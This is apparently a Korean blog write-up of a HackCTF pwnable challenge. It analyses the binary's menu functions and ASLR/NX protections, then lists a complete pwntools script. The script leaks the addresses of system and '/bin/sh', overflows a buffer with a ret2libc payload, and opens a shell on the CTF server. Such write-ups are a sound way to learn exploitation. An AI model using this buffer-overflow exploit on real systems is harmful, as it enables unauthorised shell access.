main함수의 모습이다. 메뉴를 선택받고 그 메뉴를 실행한다.
Menu 함수의 모습이다. 보스의 바이너리 정보 돈 만들기 등등이 있다.
2번 메뉴인 Get_Money 함수이다. 이것으로 돈을 획득할 수 있을 것 같다.
제일 먼저 이 바이너리의 정보를 확인하여보자.
NX와 ASLR 기법이 적용되어있다. ASLR 기법이 적용되어 있다면 프로세스마다 스택의 주소값이 랜덤 맵핑되기 때문에 한번의 실행에서 모든 것을 수행해야 주소값이 바뀌는 것을 막을 수 있다.
자 이제 문제를 어떻게 해결할 것인지 알아보자. 우선 RTL chaning을 이용해야 하므로 이에 필요한 함수들의 주소값을 먼저 구해야 할 것이다.
3번과 4번 메뉴를 이용하여 system 함수와 "/bin/sh" 문자열의 주소를 얻을 수 있다. 하지만 그 전에 돈이 있어야 하기 때문에 우선적으로 2번 메뉴를 이용하여 돈을 얻어야 한다. Get_Money 함수를 보면 2번 메뉴에서 다시 4번을 선택하면 rand() 함수를 이용하여 얻은 정수값을 gold 라는 변수에, 즉 돈에 추가된다. 귀찮게 1, 2, 3번으로 힘들게 돈벌지 않고 4번을 이용하여 한번에 떼존을 벌면 된다.
이제 돈이 생겼으니 장비들(system 함수와 "/bin/sh" 문자열의 주소)을 얻으러 가자. 단순하게 system 함수와 "/bin/sh" 문자열의 주소를 출력해주는 메뉴들이다. 이제 이들을 이용하여 payload를 짜보자.
from pwn import *
r = remote("ctf.j0n9hyun.xyz", 3010)
#make money
r.recvuntil(">>> ")
r.sendline("2")
r.recvuntil(">>> ")
r.sendline("4")
#Get System
r.recvuntil(">>> ")
r.sendline("3")
r.recvuntil(": ")
system = int(r.recv(10), 16)
#Get "/bin/sh"
r.recvuntil(">>> ")
r.sendline("4")
r.recvuntil(": ")
shell = int(r.recv(10), 16)
#exploit
r.recvuntil(">>> ")
r.sendline("5")
payload = "\x90"*144
payload += p32(system)
payload += "\x90"*4
payload += p32(shell)
r.recvuntil("> ")
r.send(payload)
r.interactive()
'Pwnable > HackCTF' 카테고리의 다른 글
x64 Buffer Overflow (0) | 2020.08.28 |
---|---|
ROP (0) | 2020.08.28 |
BOF_PIE (0) | 2020.08.28 |
Offset (0) | 2020.08.28 |
내 버퍼가 흘러넘친다!!! (0) | 2020.08.28 |